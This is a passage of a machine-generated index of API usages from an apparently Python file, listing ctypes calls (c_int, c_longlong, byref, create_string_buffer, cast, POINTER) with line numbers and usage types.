"usage_type": "call"}, {"api_name": "ctypes.c_longlong", "line_number": 4675, "usage_type": "call"}, {"api_name": "ctypes.c_longlong", "line_number": 4676, "usage_type": "call"}, {"api_name": "ctypes.c_longlong", "line_number": 4677, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 4704, "usage_type": "call"}, {"api_name": "ctypes.c_longlong", "line_number": 4705, "usage_type": "call"}, {"api_name": "ctypes.create_string_buffer", "line_number": 4706, "usage_type": "call"}, {"api_name": "ctypes.c_longlong", "line_number": 4707, "usage_type": "call"}, {"api_name": "ctypes.c_longlong", "line_number": 4708, "usage_type": "call"}, {"api_name": "ctypes.c_longlong", "line_number": 4709, "usage_type": "call"}, {"api_name": "ctypes.c_longlong", "line_number": 4710, "usage_type": "call"}, {"api_name": "ctypes.c_longlong", "line_number": 4711, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 4737, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 4738, "usage_type": "attribute"}, {"api_name": "ctypes.c_longlong", "line_number": 4741, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 4767, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 4768, "usage_type": "attribute"}, {"api_name": "ctypes.c_longlong", "line_number": 4771, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 4797, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 4798, "usage_type": "attribute"}, {"api_name": "ctypes.c_longlong", "line_number": 4800, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 4827, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 4828, "usage_type": "attribute"}, {"api_name": "ctypes.c_longlong", "line_number": 4830, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 4868, "usage_type": "call"}, {"api_name": "os.path", "line_number": 4868, "usage_type": "attribute"}, {"api_name": "os.path.isfile", "line_number": 4871, "usage_type": "call"}, {"api_name": "os.path", "line_number": 4871, "usage_type": "attribute"}, {"api_name": "ctypes.c_int", "line_number": 4878, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 4879, "usage_type": "call"}, {"api_name": "ctypes.c_float", "line_number": 4880, "usage_type": "call"}, {"api_name": "ctypes.byref", "line_number": 4883, "usage_type": "call"}, {"api_name": "ctypes.byref", "line_number": 4884, "usage_type": "call"}, {"api_name": "ctypes.byref", "line_number": 4885, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 4890, "usage_type": "call"}, {"api_name": "ctypes.byref", "line_number": 4897, "usage_type": "call"}, {"api_name": "ctypes.byref", "line_number": 4898, "usage_type": "call"}, {"api_name": "ctypes.create_string_buffer", "line_number": 4904, "usage_type": "call"}, {"api_name": "ctypes.c_longlong", "line_number": 4906, "usage_type": "call"}, {"api_name": "ctypes.c_longlong", "line_number": 4907, "usage_type": "call"}, {"api_name": "ctypes.c_longlong", "line_number": 4908, "usage_type": "call"}, {"api_name": "ctypes.c_longlong", "line_number": 4909, "usage_type": "call"}, {"api_name": "ctypes.c_longlong", "line_number": 4910, "usage_type": "call"}, {"api_name": "ctypes.c_longlong", "line_number": 4911, "usage_type": "call"}, {"api_name": "ctypes.c_longlong", "line_number": 4912, "usage_type": "call"}, {"api_name": "ctypes.c_longlong", "line_number": 4913, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 4915, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 4916, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 4917, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 4918, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 4919, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 4920, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 4921, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 4922, "usage_type": "call"}, {"api_name": "ctypes.byref", "line_number": 4925, "usage_type": "call"}, {"api_name": "ctypes.byref", "line_number": 4926, "usage_type": "call"}, {"api_name": "ctypes.byref", "line_number": 4927, "usage_type": "call"}, {"api_name": "ctypes.byref", "line_number": 4928, "usage_type": "call"}, {"api_name": "ctypes.byref", "line_number": 4929, "usage_type": "call"}, {"api_name": "ctypes.byref", "line_number": 4930, "usage_type": "call"}, {"api_name": "ctypes.create_string_buffer", "line_number": 4935, "usage_type": "call"}, {"api_name": "ctypes.c_longlong", "line_number": 4936, "usage_type": "call"}, {"api_name": "ctypes.c_longlong", "line_number": 4937, "usage_type": "call"}, {"api_name": "ctypes.c_longlong", "line_number": 4938, "usage_type": "call"}, {"api_name": "ctypes.c_longlong", "line_number": 4939, "usage_type": "call"}, {"api_name": "ctypes.c_longlong", "line_number": 4940, "usage_type": "call"}, {"api_name": "ctypes.c_longlong", "line_number": 4941, "usage_type": "call"}, {"api_name": "ctypes.c_longlong", "line_number": 4958, "usage_type": "attribute"}, {"api_name": "ctypes.c_longlong", "line_number": 4960, "usage_type": "attribute"}, {"api_name": "ctypes.c_longlong", "line_number": 4962, "usage_type": "attribute"}, {"api_name": "ctypes.c_longlong", "line_number": 4964, "usage_type": "attribute"}, {"api_name": "ctypes.c_int", "line_number": 4966, "usage_type": "attribute"}, {"api_name": "ctypes.c_int", "line_number": 4968, "usage_type": "attribute"}, {"api_name": "ctypes.c_int", "line_number": 4970, "usage_type": "attribute"}, {"api_name": "ctypes.c_int", "line_number": 4972, "usage_type": "attribute"}, {"api_name": "ctypes.c_char_p", "line_number": 4974, "usage_type": "attribute"}, {"api_name": "ctypes.c_int", "line_number": 4976, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 4989, "usage_type": "call"}, {"api_name": "ctypes.POINTER", "line_number": 4990, "usage_type": "call"}, {"api_name": "ctypes.c_char", "line_number": 4990, "usage_type": "attribute"}, {"api_name": "ctypes.pointer", "line_number": 4993, "usage_type": "call"}, {"api_name": "ctypes.create_string_buffer", "line_number": 4994, "usage_type": "call"}, {"api_name": "ctypes.byref", "line_number": 4996, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 5008, "usage_type": "call"}, {"api_name": "ctypes.POINTER", "line_number": 5009, "usage_type": "call"}, {"api_name": "ctypes.c_char", "line_number": 5009, "usage_type": "attribute"}, {"api_name": "ctypes.pointer", "line_number": 5012, "usage_type": "call"}, {"api_name": "ctypes.create_string_buffer", "line_number": 5012, "usage_type": "call"}, {"api_name": "ctypes.byref", "line_number": 5014, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 5020, "usage_type": "call"}, {"api_name": "ctypes.POINTER", "line_number": 5021, "usage_type": "call"}, {"api_name": "ctypes.c_char", "line_number": 5021, "usage_type": "attribute"}, {"api_name": "ctypes.pointer", "line_number": 5023, "usage_type": "call"}, {"api_name": "ctypes.create_string_buffer", "line_number": 5023, "usage_type": "call"}, {"api_name": "ctypes.byref", "line_number": 5025, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 5031, "usage_type": "call"}, {"api_name": "ctypes.POINTER", "line_number": 5032, "usage_type": "call"}, {"api_name": "ctypes.c_char", "line_number": 5032, "usage_type": "attribute"}, {"api_name": "ctypes.pointer", "line_number": 5034, "usage_type": "call"}, {"api_name": "ctypes.create_string_buffer", "line_number": 5034, "usage_type": "call"}, {"api_name": "ctypes.byref", "line_number": 5035, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 5047, "usage_type": "call"}, {"api_name": "ctypes.POINTER", "line_number": 5048, "usage_type": "call"}, {"api_name": "ctypes.c_char", "line_number": 5048, "usage_type": "attribute"}, {"api_name": "ctypes.pointer", "line_number": 5050, "usage_type": "call"}, {"api_name": "ctypes.create_string_buffer", "line_number": 5050, "usage_type": "call"}, {"api_name": "ctypes.byref", "line_number": 5052, "usage_type": "call"}, {"api_name": "ctypes.create_string_buffer", "line_number": 5058, "usage_type": "call"}, {"api_name": "ctypes.c_float", "line_number": 5059, "usage_type": "call"}, {"api_name": "ctypes.c_longlong", "line_number": 5061, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 5063, "usage_type": "call"}, {"api_name": "ctypes.byref", "line_number": 5067, "usage_type": "call"}, {"api_name": "ctypes.byref", "line_number": 5068, "usage_type": "call"}, {"api_name": "ctypes.POINTER", "line_number": 5088, "usage_type": "call"}, {"api_name": "ctypes.c_char", "line_number": 5088, "usage_type": "attribute"}, {"api_name": "ctypes.pointer", "line_number": 5090, "usage_type": "call"}, {"api_name": "ctypes.create_string_buffer", "line_number": 5091, "usage_type": "call"}, {"api_name": "ctypes.byref", "line_number": 5093, "usage_type": "call"}, {"api_name": "ctypes.POINTER", "line_number": 5100, "usage_type": "call"}, {"api_name": "ctypes.c_char", "line_number": 5100, "usage_type": "attribute"}, {"api_name": "ctypes.pointer", "line_number": 5103, "usage_type": "call"}, {"api_name": "ctypes.create_string_buffer", "line_number": 5104, "usage_type": "call"}, {"api_name": "ctypes.byref", "line_number": 5106, "usage_type": "call"}, {"api_name": "ctypes.c_double", "line_number": 5111, "usage_type": "attribute"}, {"api_name": "ctypes.byref", "line_number": 5112, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 5117, "usage_type": "call"}, {"api_name": "ctypes.c_double", "line_number": 5118, "usage_type": "call"}, {"api_name": "ctypes.byref", "line_number": 5119, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 5125, "usage_type": "call"}, {"api_name": "ctypes.c_double", "line_number": 5126, "usage_type": "call"}, {"api_name": "ctypes.byref", "line_number": 5127, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 5133, "usage_type": "call"}, {"api_name": "ctypes.c_longlong", "line_number": 5134, "usage_type": "call"}, {"api_name": "ctypes.create_string_buffer", "line_number": 5135, "usage_type": "call"}, {"api_name": "ctypes.byref", "line_number": 5136, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 5142, "usage_type": "call"}, {"api_name": "ctypes.c_longlong", "line_number": 5143, "usage_type": "call"}, {"api_name": "ctypes.create_string_buffer", "line_number": 5144, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 5151, "usage_type": "call"}, {"api_name": "ctypes.POINTER", "line_number": 5152, "usage_type": "call"}, {"api_name": "ctypes.c_char", "line_number": 5152, "usage_type": "attribute"}, {"api_name": "ctypes.c_int", "line_number": 5154, "usage_type": "call"}, {"api_name": "ctypes.pointer", "line_number": 5155, "usage_type": "call"}, {"api_name": "ctypes.create_string_buffer", "line_number": 5156, "usage_type": "call"}, {"api_name": "ctypes.byref", "line_number": 5159, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 5164, "usage_type": "call"}, {"api_name": "ctypes.POINTER", "line_number": 5166, "usage_type": "call"}, {"api_name": "ctypes.c_char", "line_number": 5166, "usage_type": "attribute"}, {"api_name": "ctypes.c_int", "line_number": 5167, "usage_type": "call"}, {"api_name": "ctypes.pointer", "line_number": 5169, "usage_type": "call"}, {"api_name": "ctypes.create_string_buffer", "line_number": 5170, "usage_type": "call"}, {"api_name": "ctypes.byref", "line_number": 5172, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 5176, "usage_type": "call"}, {"api_name": "ctypes.c_longlong", "line_number": 5178, "usage_type": "attribute"}, {"api_name": "ctypes.c_int", "line_number": 5180, "usage_type": "attribute"}, {"api_name": "ctypes.c_int", "line_number": 5182, "usage_type": "call"}, {"api_name": "ctypes.byref", "line_number": 5183, "usage_type": "call"}, {"api_name": "ctypes.byref", "line_number": 5187, "usage_type": "call"}, {"api_name": "ctypes.create_string_buffer", "line_number": 5188, "usage_type": "call"}, {"api_name": "ctypes.cast", "line_number": 5189, "usage_type": "call"}, {"api_name": "ctypes.c_char_p", "line_number": 5189, "usage_type": "attribute"}, {"api_name": "ctypes.c_longlong", "line_number": 5190, "usage_type": "attribute"}, {"api_name": "ctypes.byref", "line_number": 5192, "usage_type": "call"}, {"api_name": "ctypes.create_string_buffer", "line_number": 5197, "usage_type": "call"}, {"api_name": "ctypes.cast", "line_number": 5198, "usage_type": "call"}, {"api_name": "ctypes.c_char_p", "line_number": 5198, "usage_type": "attribute"}, {"api_name": "ctypes.c_longlong", "line_number": 5199, "usage_type": "attribute"}, {"api_name": "ctypes.byref", "line_number": 5204, "usage_type": "call"}, {"api_name": "ctypes.create_string_buffer", "line_number": 5205, "usage_type": "call"}, {"api_name": "ctypes.cast", "line_number": 5206, "usage_type": "call"}, {"api_name": "ctypes.c_char_p", "line_number": 5206, "usage_type": "attribute"}, {"api_name": "ctypes.byref", "line_number": 5207, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 5224, "usage_type": "call"}, {"api_name": "ctypes.c_longlong", "line_number": 5225, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 5230, "usage_type": "call"}, {"api_name": "ctypes.c_longlong", "line_number": 5231, "usage_type": "call"}, {"api_name": "ctypes.byref", "line_number": 5237, "usage_type": "call"}, {"api_name": "ctypes.byref", "line_number": 5239, "usage_type": "call"}, {"api_name": "ctypes.cast", "line_number": 5243, "usage_type": "call"}, {"api_name": "ctypes.POINTER", "line_number": 5243, "usage_type": "call"}, {"api_name": "ctypes.c_char", "line_number": 5243, "usage_type": "attribute"}, {"api_name": "ctypes.cast", "line_number": 5248, "usage_type": "call"}, {"api_name": "ctypes.POINTER", "line_number": 5248, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 5248, "usage_type": "attribute"}, {"api_name": "ctypes.cast", "line_number": 5253, "usage_type": "call"}, {"api_name": "ctypes.POINTER", "line_number": 5253, "usage_type": "call"}, {"api_name": "ctypes.c_double", "line_number": 5253, "usage_type": "attribute"}, {"api_name": "ctypes.c_longlong", "line_number": 5262, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 5265, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 5269, "usage_type": "attribute"}, {"api_name": "ctypes.c_int", "line_number": 5271, "usage_type": "call"}, {"api_name": "ctypes.cast", "line_number": 5272, "usage_type": "call"}, {"api_name": "ctypes.c_void_p", "line_number": 5272, "usage_type": "attribute"}, {"api_name": "ctypes.c_double", "line_number": 5276, "usage_type": "attribute"}, {"api_name": "ctypes.c_double", "line_number": 5278, "usage_type": "call"}, {"api_name": "ctypes.cast", "line_number": 5279, "usage_type": "call"}, {"api_name": "ctypes.c_void_p", "line_number": 5279, "usage_type": "attribute"}, {"api_name": "ctypes.c_char", "line_number": 5283, "usage_type": "attribute"}, {"api_name": "ctypes.cast", "line_number": 5285, "usage_type": "call"}, {"api_name": "ctypes.c_void_p", "line_number": 5285, "usage_type": "attribute"}, {"api_name": "ctypes.c_longlong", "line_number": 5291, "usage_type": "call"}, {"api_name": "ctypes.c_longlong", "line_number": 5296, "usage_type": "attribute"}, {"api_name": "ctypes.c_int", "line_number": 5298, "usage_type": "attribute"}, {"api_name": "ctypes.c_int", "line_number": 5299, "usage_type": "call"}, {"api_name": "ctypes.byref", "line_number": 5299, "usage_type": "call"}, {"api_name": "ctypes.c_longlong", "line_number": 5303, "usage_type": "call"}, {"api_name": "ctypes.c_longlong", "line_number": 5305, "usage_type": "attribute"}, {"api_name": "ctypes.c_longlong", "line_number": 5307, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 5309, "usage_type": "attribute"}, {"api_name": "ctypes.c_int", "line_number": 5311, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 5312, "usage_type": "call"}, {"api_name": "ctypes.c_longlong", "line_number": 5315, "usage_type": "call"}, {"api_name": "ctypes.c_double", "line_number": 5317, "usage_type": "attribute"}, {"api_name": "ctypes.byref", "line_number": 5319, "usage_type": "call"}, {"api_name": "ctypes.c_longlong", "line_number": 5323, "usage_type": "call"}, {"api_name": "ctypes.c_double", "line_number": 5324, "usage_type": "attribute"}, {"api_name": "ctypes.c_double", "line_number": 5326, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 5331, "usage_type": "call"}, {"api_name": "ctypes.c_longlong", "line_number": 5332, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 5334, "usage_type": "attribute"}, {"api_name": "ctypes.byref", "line_number": 5338, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 5349, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 5351, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 5354, "usage_type": "attribute"}, {"api_name": "ctypes.byref", "line_number": 5357, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 5368, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 5370, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 5375, "usage_type": "attribute"}, {"api_name": "ctypes.c_int", "line_number": 5377, "usage_type": "call"}, {"api_name": "ctypes.c_double", "line_number": 5383, "usage_type": "attribute"}, {"api_name": "ctypes.c_double", "line_number": 5384, "usage_type": "attribute"}, {"api_name": "ctypes.c_double", "line_number": 5385, "usage_type": "attribute"}, {"api_name": "ctypes.byref", "line_number": 5388, "usage_type": "call"}, {"api_name": "ctypes.byref", "line_number": 5389, "usage_type": "call"}, {"api_name": "ctypes.byref", "line_number": 5390, "usage_type": "call"}, {"api_name": "ctypes.c_double", "line_number": 5393, "usage_type": "attribute"}, {"api_name": "ctypes.c_double", "line_number": 5394, "usage_type": "attribute"}, {"api_name": "ctypes.c_double", "line_number": 5395, "usage_type": "attribute"}, {"api_name": "ctypes.byref", "line_number": 5402, "usage_type": "call"}, {"api_name": "ctypes.byref", "line_number": 5403, "usage_type": "call"}, {"api_name": "ctypes.byref", "line_number": 5404, "usage_type": "call"}, {"api_name": "ctypes.c_longlong", "line_number": 5407, "usage_type": "call"}, {"api_name": "ctypes.c_longlong", "line_number": 5408, "usage_type": "call"}, {"api_name": "ctypes.c_double", "line_number": 5409, "usage_type": "attribute"}, {"api_name": "ctypes.c_double", "line_number": 5410, "usage_type": "attribute"}, {"api_name": "ctypes.c_double", "line_number": 5411, "usage_type": "attribute"}, {"api_name": "ctypes.byref", "line_number": 5416, "usage_type": "call"}, {"api_name": "ctypes.byref", "line_number": 5417, "usage_type": "call"}, {"api_name": "ctypes.byref", "line_number": 5418, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 5423, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 5424, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 5425, "usage_type": "call"}, {"api_name": "ctypes.c_longlong", "line_number": 5428, "usage_type": "attribute"}, {"api_name": "ctypes.c_int", "line_number": 5430, "usage_type": "attribute"}, {"api_name": "ctypes.byref", "line_number": 5431, "usage_type": "call"}, {"api_name": "ctypes.c_longlong", "line_number": 5439, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 5440, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 5441, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 5442, "usage_type": "call"}, {"api_name": "ctypes.c_longlong", "line_number": 5445, "usage_type": "attribute"}, {"api_name": "ctypes.c_int", "line_number": 5447, "usage_type": "attribute"}, {"api_name": "ctypes.byref", "line_number": 5448, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 5455, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 5456, "usage_type": "call"}, {"api_name": "ctypes.c_longlong", "line_number": 5467, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 5468, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 5469, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 5470, "usage_type": "call"}, {"api_name": "ctypes.c_longlong", "line_number": 5474, "usage_type": "attribute"}, {"api_name": "ctypes.c_longlong", "line_number": 5476, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 5478, "usage_type": "attribute"}, {"api_name": "ctypes.c_int", "line_number": 5480, "usage_type": "call"}, {"api_name": "ctypes.byref", "line_number": 5481, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 5485, "usage_type": "call"}, {"api_name": "ctypes.c_longlong", "line_number": 5486, "usage_type": "call"}, {"api_name": "ctypes.c_longlong", "line_number": 5489, "usage_type": "attribute"}, {"api_name": "ctypes.c_int", "line_number": 5491, "usage_type": "attribute"}, {"api_name": "ctypes.c_int", "line_number": 5502, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 5503, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 5504, "usage_type": "call"}, {"api_name": "ctypes.c_longlong", "line_number": 5508, "usage_type": "attribute"}, {"api_name": "ctypes.c_longlong", "line_number": 5510, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 5512, "usage_type": "attribute"}, {"api_name": "ctypes.c_int", "line_number": 5514, "usage_type": "call"}, {"api_name": "ctypes.byref", "line_number": 5515, "usage_type": "call"}, {"api_name": "ctypes.c_longlong", "line_number": 5520, "usage_type": "attribute"}, {"api_name": "ctypes.c_int", "line_number": 5522, "usage_type": "attribute"}, {"api_name": "ctypes.byref", "line_number": 5523, "usage_type": "call"}, {"api_name": "ctypes.c_longlong", "line_number": 5528, "usage_type": "attribute"}, {"api_name": "ctypes.c_int", "line_number": 5530, "usage_type": "attribute"}, {"api_name": "ctypes.byref", "line_number": 5531, "usage_type": "call"}, {"api_name": "ctypes.c_longlong", "line_number": 5536, "usage_type": "attribute"}, {"api_name": "ctypes.c_int", "line_number": 5538, "usage_type": "attribute"}, {"api_name": "ctypes.byref", "line_number": 5539, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 5543, "usage_type": "call"}, {"api_name": "ctypes.c_longlong", "line_number": 5544, "usage_type": "call"}, {"api_name": "ctypes.create_string_buffer", "line_number": 5545, "usage_type": "call"}, {"api_name": "ctypes.c_longlong", "line_number": 5547, "usage_type": "call"}, {"api_name": "ctypes.c_longlong", "line_number": 5548, "usage_type": "call"}, {"api_name": "ctypes.c_longlong", "line_number": 5549, "usage_type": "call"}, {"api_name": "ctypes.c_longlong", "line_number": 5550, "usage_type": "call"}, {"api_name": "ctypes.c_longlong", "line_number": 5551, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 5553, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 5554, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 5555, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 5556, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 5557, "usage_type": "call"}, {"api_name": "ctypes.byref", "line_number": 5563, "usage_type": "call"}, {"api_name": "ctypes.byref", "line_number": 5564, "usage_type": "call"}, {"api_name": "ctypes.byref", "line_number": 5565, "usage_type": "call"}, {"api_name": "ctypes.byref", "line_number": 5566, "usage_type": "call"}, {"api_name": "ctypes.byref", "line_number": 5567, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 5578, "usage_type": "call"}, {"api_name": "ctypes.c_longlong", "line_number": 5579, "usage_type": "call"}, {"api_name": "ctypes.create_string_buffer", "line_number": 5582, "usage_type": "call"}, {"api_name": "ctypes.c_longlong", "line_number": 5583, "usage_type": "call"}, {"api_name": "ctypes.c_longlong", "line_number": 5584, "usage_type": "call"}, {"api_name": "ctypes.c_longlong", "line_number": 5585, "usage_type": "call"}, {"api_name": "ctypes.c_longlong", "line_number": 5586, "usage_type": "call"}, {"api_name": "ctypes.c_longlong", "line_number": 5587, "usage_type": "call"}, {"api_name": "ctypes.c_longlong", "line_number": 5595, "usage_type": "call"}, {"api_name": "ctypes.c_longlong", "line_number": 5598, "usage_type": "attribute"}, {"api_name": "ctypes.c_int", "line_number": 5601, "usage_type": "attribute"}, {"api_name": "ctypes.c_int", "line_number": 5604, "usage_type": "call"}, {"api_name": "ctypes.byref", "line_number": 5606, "usage_type": "call"}, {"api_name": "ctypes.c_longlong", "line_number": 5612, "usage_type": "call"}, {"api_name": "ctypes.c_longlong", "line_number": 5615, "usage_type": "attribute"}, {"api_name": "ctypes.c_longlong", "line_number": 5617, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 5620, "usage_type": "attribute"}, {"api_name": "ctypes.c_int", "line_number": 5622, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 5625, "usage_type": "call"}, {"api_name": "ctypes.c_longlong", "line_number": 5630, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 5631, "usage_type": "call"}, {"api_name": "ctypes.c_longlong", "line_number": 5632, "usage_type": "call"}, {"api_name": "ctypes.c_double", "line_number": 5633, "usage_type": "attribute"}, {"api_name": "ctypes.c_longlong", "line_number": 5644, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 5645, "usage_type": "call"}, {"api_name": "ctypes.c_longlong", "line_number": 5646, "usage_type": "call"}, {"api_name": "ctypes.c_double", "line_number": 5649, "usage_type": "attribute"}, {"api_name": "ctypes.byref", "line_number": 5656, "usage_type": "call"}, {"api_name": "ctypes.c_longlong", "line_number": 5660, "usage_type": "call"}, {"api_name": "ctypes.c_double", "line_number": 5661, "usage_type": "attribute"}, {"api_name": "ctypes.c_double", "line_number": 5663, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 5666, "usage_type": "call"}, {"api_name": "ctypes.c_longlong", "line_number": 5671, "usage_type": "call"}, {"api_name": "ctypes.c_double", "line_number": 5675, "usage_type": "attribute"}, {"api_name": "ctypes.c_int", "line_number": 5678, "usage_type": "call"}, {"api_name": "ctypes.byref", "line_number": 5680, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 5684, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 5685, "usage_type": "call"}, {"api_name": "ctypes.byref", "line_number": 5687, "usage_type": "call"}, {"api_name": "ctypes.POINTER", "line_number": 5693, "usage_type": "call"}, {"api_name": "ctypes.c_char", "line_number": 5693, "usage_type": "attribute"}, {"api_name": "ctypes.pointer", "line_number": 5696, "usage_type": "call"}, {"api_name": "ctypes.create_string_buffer", "line_number": 5697, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 5700, "usage_type": "call"}, {"api_name": "ctypes.byref", "line_number": 5705, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 5709, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 5710, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 5711, "usage_type": "call"}, {"api_name": "ctypes.c_longlong", "line_number": 5712, "usage_type": "call"}, {"api_name": "ctypes.c_longlong", "line_number": 5713, "usage_type": "call"}, {"api_name": "ctypes.c_double", "line_number": 5714, "usage_type": "attribute"}, {"api_name": "ctypes.c_int", "line_number": 5726, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 5727, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 5728, "usage_type": "call"}, {"api_name": "ctypes.c_longlong", "line_number": 5729, "usage_type": "call"}, {"api_name": "ctypes.c_longlong", "line_number": 5730, "usage_type": "call"}, {"api_name": "ctypes.c_longlong", "line_number": 5731, "usage_type": "call"}, {"api_name": "ctypes.c_double", "line_number": 5732, "usage_type": "attribute"}, {"api_name": "ctypes.c_int", "line_number": 5745, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 5746, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 5747, "usage_type": "call"}, {"api_name": "ctypes.c_longlong", "line_number": 5748, "usage_type": "call"}, {"api_name": "ctypes.c_longlong", "line_number": 5749, "usage_type": "call"}, {"api_name": "ctypes.c_double", "line_number": 5750, "usage_type": "attribute"}, {"api_name": "ctypes.c_int", "line_number": 5764, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 5770, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 5781, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 5782, "usage_type": "call"}, {"api_name": "ctypes.byref", "line_number": 5784, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 5788, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 5789, "usage_type": "call"}, {"api_name": "ctypes.create_string_buffer", "line_number": 5790, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 5795, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 5796, "usage_type": "call"}, {"api_name": "ctypes.create_string_buffer", "line_number": 5797, "usage_type": "call"}, {"api_name": "ctypes.POINTER", "line_number": 5804, "usage_type": "call"}, {"api_name": "ctypes.c_char", "line_number": 5804, "usage_type": "attribute"}, {"api_name": "ctypes.pointer", "line_number": 5807, "usage_type": "call"}, {"api_name": "ctypes.create_string_buffer", "line_number": 5808, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 5811, "usage_type": "call"}, {"api_name": "ctypes.byref", "line_number": 5816, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 5820, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 5821, "usage_type": "call"}, {"api_name": "ctypes.c_longlong", "line_number": 5822, "usage_type": "call"}, {"api_name": "ctypes.c_longlong", "line_number": 5823, "usage_type": "call"}, {"api_name": "ctypes.c_double", "line_number": 5824, "usage_type": "attribute"}, {"api_name": "ctypes.c_int", "line_number": 5835, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 5836, "usage_type": "call"}, {"api_name": "ctypes.c_longlong", "line_number": 5837, "usage_type": "call"}, {"api_name": "ctypes.c_longlong", "line_number": 5838, "usage_type": "call"}, {"api_name": "ctypes.c_double", "line_number": 5839, "usage_type": "attribute"}, {"api_name": "ctypes.c_longlong", "line_number": 5852, "usage_type": "call"}, {"api_name": "ctypes.c_longlong", "line_number": 5854, "usage_type": "call"}, {"api_name": "ctypes.c_int", "line_number": 5856, 